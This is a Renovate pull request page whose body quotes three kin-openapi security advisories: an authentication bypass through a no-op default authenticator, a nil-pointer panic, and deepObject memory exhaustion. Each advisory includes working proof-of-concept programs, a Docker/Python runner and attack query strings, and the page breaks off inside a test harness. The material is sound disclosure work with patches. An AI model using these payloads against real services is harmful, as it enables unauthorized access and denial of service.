Skip to content

fix(deps): update module github.com/getkin/kin-openapi to v0.144.0 [security] - #85

Open
renovate[bot] wants to merge 1 commit into
mainfrom
renovate/go-github.com-getkin-kin-openapi-vulnerability
Open

fix(deps): update module github.com/getkin/kin-openapi to v0.144.0 [security]#85
renovate[bot] wants to merge 1 commit into
mainfrom
renovate/go-github.com-getkin-kin-openapi-vulnerability

Conversation

@renovate

@renovate renovate Bot commented Jul 28, 2026

Copy link
Copy Markdown
Contributor

ℹ️ Note

This PR body was truncated due to platform limits.

This PR contains the following updates:

Package Change Age Confidence
github.com/getkin/kin-openapi v0.143.0v0.144.0 age confidence

kin-openapi: ValidationHandler.Load() Fail-Open Authentication Bypass via NoopAuthenticationFunc Default

GHSA-r277-6w6q-xmqw

More information

Details

Summary

ValidationHandler.Load() in getkin/kin-openapi silently replaces a nil AuthenticationFunc with NoopAuthenticationFunc, which always returns nil without performing any credential check. Because this substitution happens unconditionally when the caller omits the field, every OpenAPI security requirement declared in the spec is silently satisfied for unauthenticated requests. An unauthenticated remote attacker can reach handlers for routes whose OpenAPI operation requires an API key, OAuth token, or any other security scheme if the application relies on ValidationHandler as its enforcement middleware.

Details

ValidationHandler is an HTTP middleware exported by openapi3filter that validates incoming requests and responses against a loaded OpenAPI specification. Its Load() method initialises default fields before the handler begins serving:

// openapi3filter/validation_handler.go:47-49
if h.AuthenticationFunc == nil {
    h.AuthenticationFunc = NoopAuthenticationFunc
}

NoopAuthenticationFunc is defined as:

// openapi3filter/validation_handler.go:17-18
func NoopAuthenticationFunc(context.Context, *AuthenticationInput) error { return nil }

It always returns nil, meaning every security scheme check it handles is automatically approved.

When a request arrives, ServeHTTPbeforevalidateRequest assembles a RequestValidationInput with the current AuthenticationFunc (now the no-op) injected into Options:

// openapi3filter/validation_handler.go:91-103
options := &Options{
    AuthenticationFunc: h.AuthenticationFunc,
}
requestValidationInput := &RequestValidationInput{
    Request:    r,
    PathParams: pathParams,
    Route:      route,
    Options:    options,
}
if err = ValidateRequest(r.Context(), requestValidationInput); err != nil {
    return err
}

Inside ValidateRequest, each security requirement calls options.AuthenticationFunc:

// openapi3filter/validate_request.go:436-438
f := options.AuthenticationFunc
if f == nil {
    return ErrAuthenticationServiceMissing   // fail-closed path — never reached via ValidationHandler
}
// ...
// openapi3filter/validate_request.go:497-503
if err := f(ctx, &AuthenticationInput{...}); err != nil {
    return err
}

Because f is the no-op (not nil), the ErrAuthenticationServiceMissing guard is never triggered and f(...) returns nil, clearing the security requirement. Control then proceeds to the protected handler (validation_handler.go:61-62).

The critical contradiction is that callers who use ValidateRequest directly with a nil AuthenticationFunc get fail-closed behavior (ErrAuthenticationServiceMissing), while callers who use the higher-level ValidationHandler with a nil AuthenticationFunc get fail-open behavior. Since omitting AuthenticationFunc is the natural default, the majority of real-world integrations are vulnerable.

Affected source file and line: openapi3filter/validation_handler.go:47–49 (commit 30e2923, tag v0.143.0).

PoC

Environment

Docker (any version supporting multi-stage builds)
Go 1.25 (inside the container via golang:1.25-alpine)
getkin/kin-openapi v0.143.0 (local source copy)

Step 1 — Build the Docker image

From the repository root (parent of vuln-001/):

docker build \
  -t vuln001-auth-bypass-poc \
  -f vuln-001/Dockerfile \
  reports/github_web_233_getkin__kin-openapi

The Dockerfile copies the local kin-openapi source into /kin-openapi/ inside the image and builds a Go binary (/poc-binary) from main.go. The go.mod inside the image uses a replace directive pointing to /kin-openapi, so no network access to the Go module proxy is required.

Step 2 — Run the container

docker run --rm --network none vuln001-auth-bypass-poc

Step 3 (alternative) — Use the Python helper

python3 vuln-001/poc.py --no-cleanup

What the PoC does

main.go creates a temporary OpenAPI 3.0 spec that declares GET /secret as protected by an apiKey security scheme:

paths:
  /secret:
    get:
      security:
        - apiKey: []
components:
  securitySchemes:
    apiKey:
      type: apiKey
      name: X-Api-Key
      in: header

It then constructs a ValidationHandler without setting AuthenticationFunc, calls Load(), and sends a request with no X-Api-Key header:

GET /secret HTTP/1.1
Host: example.test

##### X-Api-Key header is intentionally absent

Expected (vulnerable) output

=== CONTRAST: Direct ValidateRequest with nil AuthenticationFunc ===
  Direct ValidateRequest (nil auth) => ERROR: security requirements failed: missing AuthenticationFunc
  -> Fail-CLOSED behavior confirmed: missing auth function is rejected

=== EXPLOIT: ValidationHandler.Load() with nil AuthenticationFunc ===
  OpenAPI spec defines: security: [{apiKey: []}] on GET /secret
  ValidationHandler.AuthenticationFunc: NOT SET (nil)
  Load() will inject NoopAuthenticationFunc, which always returns nil

  Request:  GET /secret  (X-Api-Key header: absent)
  Response: status=200  body="SECRET_DATA\n"

[EXPLOIT SUCCESS] Auth bypass confirmed!
  Protected resource /secret returned SECRET_DATA without credentials.
  ValidationHandler.Load() silently injected NoopAuthenticationFunc.
  Security requirement was bypassed. VULN-001 REPRODUCED.

The contrast block confirms fail-closed behavior when ValidateRequest is called directly. The exploit block confirms fail-open behavior through ValidationHandler. Status 200 and SECRET_DATA are returned without any credential.

Remediation patch

--- a/openapi3filter/validation_handler.go
+++ b/openapi3filter/validation_handler.go
@@
  if h.Handler == nil {
      h.Handler = http.DefaultServeMux
  }
- if h.AuthenticationFunc == nil {
-     h.AuthenticationFunc = NoopAuthenticationFunc
- }
  if h.ErrorEncoder == nil {
      h.ErrorEncoder = DefaultErrorEncoder
  }

After this change, a nil AuthenticationFunc propagates into ValidateRequest, which returns ErrAuthenticationServiceMissing and rejects the request. Callers who genuinely want to skip authentication can still opt in explicitly: h.AuthenticationFunc = openapi3filter.NoopAuthenticationFunc.

Impact

This is an authentication bypass vulnerability (CWE-287). Any application that:

  1. uses openapi3filter.ValidationHandler as its HTTP middleware, and
  2. declares one or more security requirements in its OpenAPI specification, and
  3. does not explicitly set AuthenticationFunc,

is fully exposed. An unauthenticated remote attacker can send requests to any protected endpoint without supplying credentials; the middleware accepts the request and forwards it to the underlying handler as if authentication had succeeded.

Affected parties include all Go services that adopt ValidationHandler as a drop-in validation layer and rely on OpenAPI security declarations for access control without adding a separate authentication layer upstream (e.g., an API gateway or reverse proxy). Because the insecure behavior is the default, developers following the "getting started" path are affected without any additional mistake.

The confidentiality and integrity of data behind secured endpoints are both at high risk. Availability is not directly affected by this vulnerability.

Reproduction artifacts
Dockerfile
FROM golang:1.25-alpine

##### Install git (needed by go mod for some packages)
RUN apk add --no-cache git

WORKDIR /workspace

##### Copy the vulnerable kin-openapi repository as a local module replacement
COPY repo/ /kin-openapi/

##### Set up the PoC Go module
RUN mkdir -p /workspace/poc
WORKDIR /workspace/poc

##### Create go.mod that uses the local copy of the vulnerable kin-openapi
RUN cat > go.mod <<'EOF'
module kin-openapi-auth-bypass-poc

go 1.25

require github.com/getkin/kin-openapi v0.143.0

replace github.com/getkin/kin-openapi => /kin-openapi
EOF

##### Copy the PoC source (build context is the parent directory of vuln-001/)
COPY vuln-001/main.go /workspace/poc/main.go

##### Resolve dependencies and build
RUN go mod tidy && \
    go build -o /poc-binary .

##### Run the PoC
CMD ["/poc-binary"]
poc.py
#!/usr/bin/env python3
"""
PoC for VULN-001: ValidationHandler.Load() Fail-Open Auth Bypass via NoopAuthenticationFunc Default
Repository: getkin/kin-openapi v0.143.0
CWE: CWE-287 (Improper Authentication)
CVSS: 9.1 (Critical)

Vulnerability Summary:
    ValidationHandler.Load() silently replaces a nil AuthenticationFunc with NoopAuthenticationFunc.
    NoopAuthenticationFunc always returns nil (no error), so any OpenAPI security requirement
    passes without validation when the user forgets to set AuthenticationFunc.

    Contrast: ValidateRequest() with nil AuthenticationFunc returns ErrAuthenticationServiceMissing
    (fail-closed). ValidationHandler.Load() breaks this guarantee (fail-open).

Usage:
    python3 poc.py [--build-dir <dir>] [--image <name>] [--no-cleanup]
"""

import argparse
import os
import subprocess
import sys
import json

IMAGE_NAME = "vuln001-auth-bypass-poc"
SCRIPT_DIR = os.path.dirname(os.path.abspath(__file__))
REPO_DIR = os.path.join(os.path.dirname(SCRIPT_DIR), "repo")

SUCCESS_MARKER = "[EXPLOIT SUCCESS]"
EXPECTED_STATUS = "status=200"
EXPECTED_BODY = 'body="SECRET_DATA\\n"'

def run(cmd, **kwargs):
    """Run a shell command and return (returncode, stdout, stderr)."""
    print(f"[CMD] {' '.join(cmd)}")
    result = subprocess.run(cmd, capture_output=True, text=True, **kwargs)
    if result.stdout:
        print(result.stdout, end="")
    if result.stderr:
        print(result.stderr, end="", file=sys.stderr)
    return result.returncode, result.stdout, result.stderr

def build_image(build_dir):
    """Build the Docker image containing the PoC binary."""
    print("\n[*] Building Docker image ...")
    rc, stdout, stderr = run([
        "docker", "build",
        "--build-arg", f"REPO_DIR={REPO_DIR}",
        "-t", IMAGE_NAME,
        "-f", os.path.join(build_dir, "Dockerfile"),
        # Build context is the reports root so both Dockerfile and repo/ are reachable
        os.path.dirname(build_dir),
    ])
    if rc != 0:
        print(f"[ERROR] Docker build failed (exit {rc})", file=sys.stderr)
        sys.exit(rc)
    print("[*] Docker build succeeded.")
    return f"docker build -t {IMAGE_NAME} -f {os.path.join(build_dir, 'Dockerfile')} {os.path.dirname(build_dir)}"

def run_container():
    """Run the container and capture output."""
    print("\n[*] Running PoC container ...")
    rc, stdout, stderr = run([
        "docker", "run", "--rm",
        "--network", "none",   # no network access needed
        IMAGE_NAME,
    ])
    combined = stdout + stderr
    return rc, combined

def evaluate(exit_code, output):
    """Determine whether the exploit was confirmed."""
    passed = (
        exit_code == 0
        and SUCCESS_MARKER in output
        and EXPECTED_STATUS in output
        and EXPECTED_BODY in output
    )
    return passed

def cleanup_image():
    """Remove the Docker image."""
    print(f"\n[*] Removing Docker image {IMAGE_NAME} ...")
    run(["docker", "rmi", "-f", IMAGE_NAME])

def main():
    global IMAGE_NAME
    parser = argparse.ArgumentParser(description="VULN-001 Auth Bypass PoC runner")
    parser.add_argument("--build-dir", default=SCRIPT_DIR,
                        help="Directory containing Dockerfile and main.go")
    parser.add_argument("--image", default=IMAGE_NAME,
                        help="Docker image name to build/run")
    parser.add_argument("--no-cleanup", action="store_true",
                        help="Keep the Docker image after the run")
    args = parser.parse_args()
    IMAGE_NAME = args.image

    print("=" * 60)
    print("VULN-001 PoC: Auth Bypass via NoopAuthenticationFunc Default")
    print("=" * 60)
    print(f"  Build dir : {args.build_dir}")
    print(f"  Repo dir  : {REPO_DIR}")
    print(f"  Image     : {IMAGE_NAME}")

    build_cmd = build_image(args.build_dir)
    run_cmd = f"docker run --rm --network none {IMAGE_NAME}"

    exit_code, output = run_container()

    if not args.no_cleanup:
        cleanup_image()

    passed = evaluate(exit_code, output)

    print("\n" + "=" * 60)
    if passed:
        print("[RESULT] PASS — Auth bypass CONFIRMED")
        print("  The protected handler returned SECRET_DATA without credentials.")
        print("  ValidationHandler.Load() injected NoopAuthenticationFunc silently.")
    else:
        print(f"[RESULT] FAIL — Exploit not confirmed (exit={exit_code})")

    print(f"\nContainer exit code : {exit_code}")
    print(f"Success marker found: {SUCCESS_MARKER in output}")
    print(f"Status 200 found    : {EXPECTED_STATUS in output}")
    print(f"Secret body found   : {EXPECTED_BODY in output}")

    # Exit with code that signals pass/fail
    sys.exit(0 if passed else 1)

if __name__ == "__main__":
    main()

Severity

  • CVSS Score: 9.1 / 10 (Critical)
  • Vector String: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:N

References

This data is provided by the GitHub Advisory Database (CC-BY 4.0).


kin-openapi openapi3filter: unauthenticated nil-pointer panic when validating a request against a content parameter whose media type has no schema

CVE-2026-73502 / GHSA-jpcw-4wr7-c3vq

More information

Details

Field Value
Ecosystem Go
Package github.com/getkin/kin-openapi
Affected versions <= 0.143.0 (introduced in v0.2.0, PR #​90, 2019-05-07; reproduced on HEAD 30e2923)
Patched versions 0.144.0

Summary

openapi3filter.ValidateRequest contains a NULL-pointer-dereference denial of service: any unauthenticated client can crash the request-validation path with a single HTTP request. When an operation declares a content parameter (as opposed to a schema parameter) whose media type object has no schema, request validation dereferences that missing schema and panics. The document is legal under the OpenAPI Specification — kin-openapi's own doc.Validate() accepts it — and the defect affects both OpenAPI 3.0.x and 3.1.x. Depending on how the library is wired into the server (see Impact), this ranges from a per-request abort with unbounded panic-log growth to a full remote process crash.

Details

The decoder used for content parameters when no custom ParamDecoder is configured (the library default), defaultContentParameterDecoder, dereferences the media-type schema without a nil check.

openapi3filter/req_resp_decoder.go, around line 197:

mt := content.Get("application/json")
if mt == nil {                       // media-type OBJECT is guarded ...
    err = fmt.Errorf("parameter %q has no content schema", param.Name)
    return
}
outSchema = mt.Schema.Value          // ... but mt.Schema is NOT — panics when nil

The function guards param.Content == nil, len(content) != 1, and mt == nil, but never mt.Schema == nil.

Why a schema-less content parameter is legal (so the sink is reachable — doc.Validate() returns no error), in both 3.0.x and 3.1.x:

  • openapi3/parameter.goParameter.Validate only enforces exactly one of schema XOR content; a parameter with content (and no schema) satisfies it.
  • openapi3/media_type.goMediaType.Validate validates the schema only when it is non-nil, so an absent schema is not a validation error.

Call path to the panic:

ValidateRequest                          openapi3filter/validate_request.go:83
  └─ ValidateParameter                   openapi3filter/validate_request.go:177   (parameter.Content != nil)
       └─ decodeContentParameter         openapi3filter/req_resp_decoder.go:166   (attacker supplies value ⇒ found)
            └─ defaultContentParameterDecoder   openapi3filter/req_resp_decoder.go:197   ← nil deref / panic

Authentication note: ValidateRequest validates security before parameters, but the panic is reachable without credentials whenever the target operation declares no security requirement, or when no AuthenticationFunc is configured (it is opt-in). A single unauthenticated operation anywhere in the served spec is sufficient. If an operation does declare security and a rejecting AuthenticationFunc is wired, that request is rejected before decoding.

PoC

Reproduced end-to-end against HEAD (30e2923) with a real net/http server and a stock http.Client.

1. Minimal OpenAPI 3.0.3 document (legal — doc.Validate() passes). The cfg query parameter uses content with an application/json media type that has no schema:

openapi: 3.0.3
info: {title: poc, version: "1.0.0"}
paths:
  /c:
    get:
      parameters:
        - name: cfg
          in: query
          content:
            application/json: {}      # media type object with NO schema
      responses:
        "200": {description: ok}

2. A complete, self-contained program. Drop this into a directory inside a checkout of github.com/getkin/kin-openapi and run it with go run .. It loads the document above, asserts doc.Validate() accepts it (proving reachability), serves it behind request validation exactly as the recommended middleware does, and sends one unauthenticated GET /c?cfg=1:

package main

import (
	"context"
	"fmt"
	"net/http"
	"net/http/httptest"

	"github.com/getkin/kin-openapi/openapi3"
	"github.com/getkin/kin-openapi/openapi3filter"
	"github.com/getkin/kin-openapi/routers/gorillamux"
)

const spec = `
openapi: 3.0.3
info: {title: poc, version: "1.0.0"}
paths:
  /c:
    get:
      parameters:
        - name: cfg
          in: query
          content:
            application/json: {}      # media type object with NO schema
      responses:
        "200": {description: ok}
`

func main() {
	loader := openapi3.NewLoader()
	doc, err := loader.LoadFromData([]byte(spec))
	if err != nil {
		panic(err)
	}
	// Reachability: the malformed-but-legal document must validate.
	if err := doc.Validate(context.Background()); err != nil {
		panic("doc.Validate rejected the spec, not reachable: " + err.Error())
	}
	router, err := gorillamux.NewRouter(doc)
	if err != nil {
		panic(err)
	}

	// Handler mirrors openapi3filter.ValidationHandler: find route, validate.
	h := http.HandlerFunc(func(w http.ResponseWriter, r *http.Request) {
		route, pathParams, err := router.FindRoute(r)
		if err != nil {
			http.Error(w, err.Error(), http.StatusNotFound)
			return
		}
		// Panics here on the crafted request (req_resp_decoder.go:197).
		if err := openapi3filter.ValidateRequest(r.Context(), &openapi3filter.RequestValidationInput{
			Request:    r,
			PathParams: pathParams,
			Route:      route,
			Options:    &openapi3filter.Options{AuthenticationFunc: openapi3filter.NoopAuthenticationFunc},
		}); err != nil {
			http.Error(w, err.Error(), http.StatusBadRequest)
			return
		}
		w.WriteHeader(http.StatusOK)
	})

	srv := httptest.NewServer(h)
	defer srv.Close()

	// The single, unauthenticated attack request.
	resp, err := http.Get(srv.URL + "/c?cfg=1")
	if err != nil {
		// Expected: the server goroutine panicked, so the client sees EOF.
		fmt.Printf("client received an aborted response (expected): %v\n", err)
		return
	}
	defer resp.Body.Close()
	fmt.Printf("UNEXPECTED: got HTTP %d without a panic\n", resp.StatusCode)
}

3. Observed result — the request goroutine panics inside validation, and the client's http.Get returns an EOF:

http: panic serving 127.0.0.1:xxxxx: runtime error: invalid memory address or nil pointer dereference
github.com/getkin/kin-openapi/openapi3filter.defaultContentParameterDecoder(...)
	openapi3filter/req_resp_decoder.go:197
github.com/getkin/kin-openapi/openapi3filter.decodeContentParameter(...)
	openapi3filter/req_resp_decoder.go:166
github.com/getkin/kin-openapi/openapi3filter.ValidateParameter(...)
	openapi3filter/validate_request.go:177
github.com/getkin/kin-openapi/openapi3filter.ValidateRequest(...)
	openapi3filter/validate_request.go:83

Swapping the media type for one that carries a schema (application/json: {schema: {type: object}}) makes the same request return a clean 400 instead of panicking, confirming the missing schema is the cause.

Impact

This is an unauthenticated remote denial of service (CWE-476) against any service that validates incoming requests with openapi3filter and serves a spec containing at least one content parameter whose media type lacks a schema.

The precise consequence depends on which goroutine runs the panic and whether a recover() covers it:

Wiring Recovered by net/http? Result
Synchronous middleware / handler on net/http (incl. openapi3filter.ValidationHandler) Yes Process survives; the one request is aborted. A remote unauthenticated party can still drive connection churn + unbounded http: panic serving log growth.
ValidateRequest on an app-spawned goroutine (fan-out, errgroup, async pre-check) No Whole process crashes on a single unauthenticated request unless the app added its own recover().
Non-net/http host (fasthttp adaptor, gRPC-gateway shim, CLI, offline/batch spec validator) No Whole process crashes.

This is why the suggested CVSS uses A:L (Base 5.3): under the recommended synchronous net/http wiring the panic is recovered per-connection. Reviewers may reasonably raise it to A:H (Base 7.5) for the spawned-goroutine and non-net/http integrations, where a single request kills the process.


Remediation (suggested)

Add a mt.Schema == nil guard mirroring the existing mt == nil guard, so a schema-less content parameter yields a clean validation error instead of a panic:

mt := content.Get("application/json")
if mt == nil {
    err = fmt.Errorf("parameter %q has no content schema", param.Name)
    return
}
if mt.Schema == nil {
    err = fmt.Errorf("parameter %q content media type has no schema", param.Name)
    return
}
outSchema = mt.Schema.Value

The unmarshal closure immediately below already tolerates a nil schema (it checks paramSchema != nil), so returning early on nil mt.Schema is consistent with surrounding intent.

Workarounds for consumers, pending a patch:

  • Ensure every content parameter in served specs declares a schema, or reject such specs at load time.
  • Supply a custom ParamDecoder that guards mt.Schema == nil.
  • Run request validation inside a handler with an explicit recover() — especially if validation runs off the request goroutine or on a non-net/http host.

Severity

  • CVSS Score: 5.3 / 10 (Medium)
  • Vector String: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:L

References

This data is provided by the GitHub Advisory Database (CC-BY 4.0).


kin-openapi has uncontrolled resource consumption in openapi3filter deepObject query parameter decoding

CVE-2026-77354 / GHSA-xhj3-7xw9-vr34

More information

Details

Summary

An uncontrolled resource consumption vulnerability in openapi3filter lets any unauthenticated client force multi-gigabyte heap allocation with a single, tiny HTTP request. When a spec declares a deepObject-style query parameter whose schema contains an array (a normal, documented pattern), the decoder reconstructs the array by reading the largest attacker-supplied index and allocating one slot for every position from 0 up to that index — before schema validation (including maxItems) ever runs. A request as small as 24 bytes (?param[items][50000000]=x) drives heap allocation to ~6.1 GiB, reliably triggering an OOM kill / restart loop on memory-constrained services.

Details

The OpenAPI style: deepObject serialization lets clients express arrays in the query string using bracket notation, e.g. param[items][0]=a&param[items][1]=b. The decoder first collects these into an intermediate map[string]any keyed by the string of the index, then converts that sparse map into a real []any in sliceMapToSlice:

// req_resp_decoder.go (vulnerable version)
func sliceMapToSlice(m map[string]any) ([]any, error) {
	var result []any
	keys := make([]int, 0, len(m))
	for k := range m {
		key, err := strconv.Atoi(k)          // "50000000" -> 50000000, attacker-controlled
		if err != nil {
			return nil, fmt.Errorf("array indexes must be integers: %w", err)
		}
		keys = append(keys, key)
	}
	max := -1
	for _, k := range keys {
		if k > max {
			max = k                          // max = attacker's index, unbounded
		}
	}
	for i := 0; i <= max; i++ {              // <-- unbounded loop, 0 .. max
		val, ok := m[strconv.Itoa(i)]
		if !ok {
			result = append(result, nil)     // fills every sparse hole with nil
			continue
		}
		result = append(result, val)
	}
	return result, nil
}

A second, equally-sized allocation follows immediately in buildResObj:

resultArr := make([]any /*not 0,*/, len(arr))   // second allocation, size = max+1
for i := range arr {
	r, err := buildResObj(params, mapKeys, strconv.Itoa(i), schema.Value.Items)
	...
}

So a single attacker-chosen integer N produces an append-grown []any of length N+1, a second make([]any, N+1), and N+1 recursion steps — with no upper bound other than strconv.Atoi's int range (~9.2×10¹⁸ on 64-bit) and available memory.

Why maxItems does not help. maxItems is enforced by schema validation, which runs strictly after parameter decoding completes. sliceMapToSlice/buildResObj fully materialize the oversized array first; validation only inspects — and rejects — the already-allocated result. The PoC below demonstrates this ordering directly: the returned error is the maxItems violation, proving the allocation happened before it could be prevented.

Why this is deepObject-specific. Every other array-bearing surface was driven with an equivalent large-index/large-array payload and stayed under ~27 KiB: application/json bodies build arrays element-by-element from the literal (no "index" concept to inflate); x-www-form-urlencoded and multipart/form-data arrays are sized by the number of repeated fields actually sent; and the other makeObject call sites (path/simple, header/simple, cookie/form, at :479, :777, :841) build their intermediate map via propsFromString, which splits on delimiters and produces property-name keys, never bracketed integer indexes. Only the deepObject propsFn (:661-687) synthesizes the bracketed integer keys that reach sliceMapToSlice with an attacker-controlled magnitude.

Preconditions. The target spec needs a query parameter with in: query, style: deepObject (typically explode: true), and a schema whose graph contains at least one type: array. This is an entirely normal, author-written spec — it is exactly the pattern the library's own decoder tests exercise. No hostile spec authoring is required, and the attack works regardless of any maxItems constraint on the array.

Introduced in. sliceMapToSlice, including the unbounded 0..max fill loop, was added whole-cloth in commit 78bb273 ("openapi3filter: deepObject array of objects and array of arrays support (#​923)", merged 2024-03-22), which first shipped in v0.124.0. Every tagged release from v0.124.0 through the current v0.141.0 / master (1d0a337) contains the vulnerable code path.

PoC

Verified against revision 1d0a337c9b1570fab283be8a04c8af6e43b9a22c (v0.141.0, current master at the time of writing), Go 1.25.0, darwin/arm64.

1. Spec — one operation accepting a deepObject query parameter whose items property is an array (maxItems: 3 is declared deliberately, to prove it does not help):

openapi: '3.0.3'
info: {title: t, version: '1.0.0'}
paths:
  /q:
    get:
      parameters:
        - name: param
          in: query
          style: deepObject
          explode: true
          schema:
            type: object
            properties:
              items:
                type: array
                maxItems: 3
                items: {type: string}
      responses:
        '200': {description: ok}

2. Program — build a request with a single huge array index and measure heap allocation across the same public entry point (gorillamux router → openapi3filter.ValidateRequest) any real HTTP server uses:

package main

import (
	"context"
	"fmt"
	"net/http"
	"runtime"

	"github.com/getkin/kin-openapi/openapi3"
	"github.com/getkin/kin-openapi/openapi3filter"
	"github.com/getkin/kin-openapi/routers/gorillamux"
)

const spec = `
openapi: '3.0.3'
info: {title: t, version: '1.0.0'}
paths:
  /q:
    get:
      parameters:
        - name: param
          in: query
          style: deepObject
          explode: true
          schema:
            type: object
            properties:
              items:
                type: array
                maxItems: 3
                items: {type: string}
      responses:
        '200': {description: ok}
`

func main() {
	loader := openapi3.NewLoader()
	doc, _ := loader.LoadFromData([]byte(spec))
	_ = doc.Validate(loader.Context)
	router, _ := gorillamux.NewRouter(doc)

	// Attacker-controlled index. A 24-byte query string is enough to force
	// materialization of a 50-million-element slice.
	const rawQuery = "param[items][50000000]=x"

	r, _ := http.NewRequest(http.MethodGet, "/q?"+rawQuery, nil)
	route, pp, _ := router.FindRoute(r)

	var before, after runtime.MemStats
	runtime.GC()
	runtime.ReadMemStats(&before)

	err := openapi3filter.ValidateRequest(context.Background(), &openapi3filter.RequestValidationInput{
		Request: r, PathParams: pp, Route: route,
		Options: &openapi3filter.Options{AuthenticationFunc: openapi3filter.NoopAuthenticationFunc},
	})

	runtime.ReadMemStats(&after)

	fmt.Printf("query string: %q (%d bytes)\n", rawQuery, len(rawQuery))
	fmt.Printf("heap allocated during ValidateRequest: %.1f MiB\n", float64(after.TotalAlloc-before.TotalAlloc)/(1<<20))
	fmt.Printf("ValidateRequest error: %v\n", err)
}

3. Observed output (go run ., unpatched tree, re-verified in this pass):

query string: "param[items][50000000]=x" (24 bytes)
heap allocated during ValidateRequest: 6231.1 MiB
ValidateRequest error: parameter "param" in query has an error: Error at "/items": maximum number of items is 3

A 24-byte query string drove ~6.1 GiB of heap allocation in a single call, and the returned error is the maxItems rejection — proof that the array was fully materialized before validation could reject it. Scaling the index shows the amplification is linear and attacker-tunable (measured over several runs on this revision):

Query string Wire size Heap allocated Amplification
param[items][10000]=x 21 B 0.9 MiB ~44,000×
param[items][100000]=x 22 B 11.1 MiB ~529,000×
param[items][1000000]=x 23 B 114 MiB ~5,200,000×
param[items][5000000]=x 23 B 555 MiB ~25,300,000×
param[items][50000000]=x 24 B 6.1 GiB ~272,000,000×

Attack request (nothing else required — no body, no auth, no unusual headers):

GET /whatever?param[items][50000000]=x HTTP/1.1
Host: victim

Control (confirms only deepObject is a vector): repeating the equivalent "large array" attempt against application/json, application/x-www-form-urlencoded, multipart/form-data bodies, and non-deepObject path/header/cookie styles stays under ~27 KiB in every case.

4. Regression/scaling test suite — a broader harness driving the same public entry point, adding the ordering proof (TestC02_AllocationBeforeValidation), the nested-index amplifier, and the cross-encoding controls referenced above. Save as openapi3filter/zzz_c02_verify_test.go and run with C02_BIG=1 go test -run TestC02 ./openapi3filter/ -v (unset C02_BIG to skip the two largest, slower indexes):

package openapi3filter_test

import (
	"bytes"
	"fmt"
	"mime/multipart"
	"net/http"
	"net/url"
	"os"
	"runtime"
	"strings"
	"testing"

	"github.com/stretchr/testify/require"

	"github.com/getkin/kin-openapi/openapi3"
	"github.com/getkin/kin-openapi/openapi3filter"
	"github.com/getkin/kin-openapi/routers/gorillamux"
)

// measureAlloc runs fn and reports the number of bytes of heap it caused to be
// allocated (TotalAlloc delta), which counts even memory that was already freed
// by the time fn returned. This captures transient allocation spikes.
func measureAlloc(fn func()) uint64 {
	var before, after runtime.MemStats
	runtime.GC()
	runtime.ReadMemStats(&before)
	fn()
	runtime.ReadMemStats(&after)
	return after.TotalAlloc - before.TotalAlloc
}

const c02Spec = `
openapi: '3.0.3'
info: {title: t, version: '1.0.0'}
paths:
  /q:
    get:
      parameters:
        - name: param
          in: query
          style: deepObject
          explode: true
          schema:
            type: object
            properties:
              items:
                type: array
                maxItems: 3
                items: {type: string}
      responses:
        '200': {description: ok}
`

func c02Router(t *testing.T) (*openapi3.T, func(rawquery string) error) {
	t.Helper()
	loader := openapi3.NewLoader()
	ctx := loader.Context
	doc, err := loader.LoadFromData([]byte(c02Spec))
	require.NoError(t, err)
	require.NoError(t, doc.Validate(ctx))
	router, err := gorillamux.NewRouter(doc)
	require.NoError(t, err)

	validate := func(rawquery string) error {
		req, err := http.NewRequest(http.MethodGet, "/q?"+rawquery, nil)
		require.NoError(t, err)
		route, pathParams, err := router.FindRoute(req)
		require.NoError(t, err)
		return openapi3filter.ValidateRequest(ctx, &openapi3filter.RequestValidationInput{
			Request:    req,
			PathParams: pathParams,
			Route:      route,
			Options:    &openapi3filter.Options{AuthenticationFunc: openapi3filter.NoopAuthenticationFunc},
		})
	}
	return doc, validate
}

// TestC02_Reproduce_MemoryExhaustion measures the allocation caused by a single
// tiny deepObject query with a large array index.
func TestC02_Reproduce_MemoryExhaustion(t *testing.T) {
	_, validate := c02Router(t)

	base := measureAlloc(func() {
		_ = validate("param[items][0]=a&param[items][1]=b&param[items][2]=c")
	})
	t.Logf("baseline (3 legit items): %s allocated", humanBytes(base))

	indexes := []int{10_000, 100_000, 1_000_000}
	if os.Getenv("C02_BIG") == "1" {
		indexes = append(indexes, 5_000_000, 50_000_000)
	}

	const fixThreshold = 32 << 20 // 32 MiB: no fixed-tree request should approach this
	worst := uint64(0)
	for _, idx := range indexes {
		q := fmt.Sprintf("param[items][%d]=x", idx)
		alloc := measureAlloc(func() {
			err := validate(q)
			require.Error(t, err) // rejected either by the cap (fixed) or maxItems (vuln)
		})
		if alloc > worst {
			worst = alloc
		}
		ratio := float64(alloc) / float64(len(q))
		t.Logf("index=%-10d query=%dB -> %s allocated (%.0fx over the query size)",
			idx, len(q), humanBytes(alloc), ratio)
	}
	require.Less(t, worst, uint64(fixThreshold),
		"C-02 REGRESSION: a tiny deepObject query allocated %s; the sliceMapToSlice cap is missing or too high",
		humanBytes(worst))
}

// TestC02_AllocationBeforeValidation checks the ordering: on the vulnerable
// tree the huge allocation happened even though maxItems:3 is declared, proving
// materialization precedes schema validation.
func TestC02_AllocationBeforeValidation(t *testing.T) {
	_, validate := c02Router(t)

	const idx = 2_000_000
	q := fmt.Sprintf("param[items][%d]=x", idx)

	var gotErr error
	alloc := measureAlloc(func() {
		gotErr = validate(q)
	})
	require.Error(t, gotErr)
	t.Logf("index=%d (query %d bytes) allocated %s; error: %v",
		idx, len(q), humanBytes(alloc), gotErr)

	// On the vulnerable tree this value was ~225 MiB and this assertion fails,
	// flagging the regression. On the fixed tree it stays well under 32 MiB.
	require.Less(t, alloc, uint64(32<<20),
		"C-02 REGRESSION: index %d allocated %s before rejection", idx, humanBytes(alloc))
}

// TestC02_OnlyDeepObjectAffected proves the blast radius: JSON, multipart, and
// urlencoded array handling do NOT go through sliceMapToSlice, so an equivalent
// "large index" payload in those encodings does not explode.
func TestC02_OnlyDeepObjectAffected(t *testing.T) {
	spec := `
openapi: '3.0.3'
info: {title: t, version: '1.0.0'}
paths:
  /b:
    post:
      requestBody:
        content:
          application/json:
            schema:
              type: object
              properties:
                items: {type: array, maxItems: 3, items: {type: string}}
          application/x-www-form-urlencoded:
            schema:
              type: object
              properties:
                items: {type: array, maxItems: 3, items: {type: string}}
          multipart/form-data:
            schema:
              type: object
              properties:
                items: {type: array, maxItems: 3, items: {type: string}}
      responses:
        '200': {description: ok}
`
	loader := openapi3.NewLoader()
	ctx := loader.Context
	doc, err := loader.LoadFromData([]byte(spec))
